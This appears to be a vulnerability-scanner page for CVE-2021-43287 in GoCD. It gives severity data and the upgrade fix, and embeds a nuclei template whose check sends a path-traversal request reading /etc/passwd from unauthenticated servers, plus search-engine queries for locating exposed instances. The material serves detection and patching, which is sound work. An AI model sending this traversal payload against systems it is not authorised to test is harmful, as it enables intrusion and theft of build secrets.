Pre-Auth Takeover of Build Pipelines in GoCD

highseverity

7.5CVSS score

27.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access and control over the build pipelines, potentially resulting in the execution of arbitrary code or unauthorized modifications.

Fix

Upgrade to version v21.3.0. or later.

How to confirm it

Send: GET {{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-43287 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-43287

info:
  name: Pre-Auth Takeover of Build Pipelines in GoCD
  author: dhiyaneshDk
  severity: high
  description: GoCD contains a critical information disclosure vulnerability whose exploitation allows unauthenticated attackers to leak configuration information including build secrets and encryption keys.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access and control over the build pipelines, potentially resulting in the execution of arbitrary code or unauthorized modifications.
  remediation: Upgrade to version v21.3.0. or later.
  reference:
    - https://attackerkb.com/assessments/9101a539-4c6e-4638-a2ec-12080b7e3b50
    - https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover
    - https://twitter.com/wvuuuuuuuuuuuuu/status/1456316586831323140
    - https://www.gocd.org/releases/#21-3-0
    - https://github.com/gocd/gocd/commit/41abc210ac4e8cfa184483c9ff1c0cc04fb3511c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43287
    cwe-id: CWE-200
    epss-score: 0.2736
    epss-percentile: 0.98078
    cpe: cpe:2.3:a:thoughtworks:gocd:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thoughtworks
    product: gocd
    shodan-query:
      - http.title:"Create a pipeline - Go" html:"GoCD Version"
      - http.html:"gocd version"
      - http.title:"create a pipeline - go" html:"gocd version"
    fofa-query:
      - title="create a pipeline - go" html:"gocd version"
      - body="gocd version"
    google-query: intitle:"create a pipeline - go" html:"gocd version"
  tags: cve2021,cve,go,lfi,gocd,thoughtworks,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from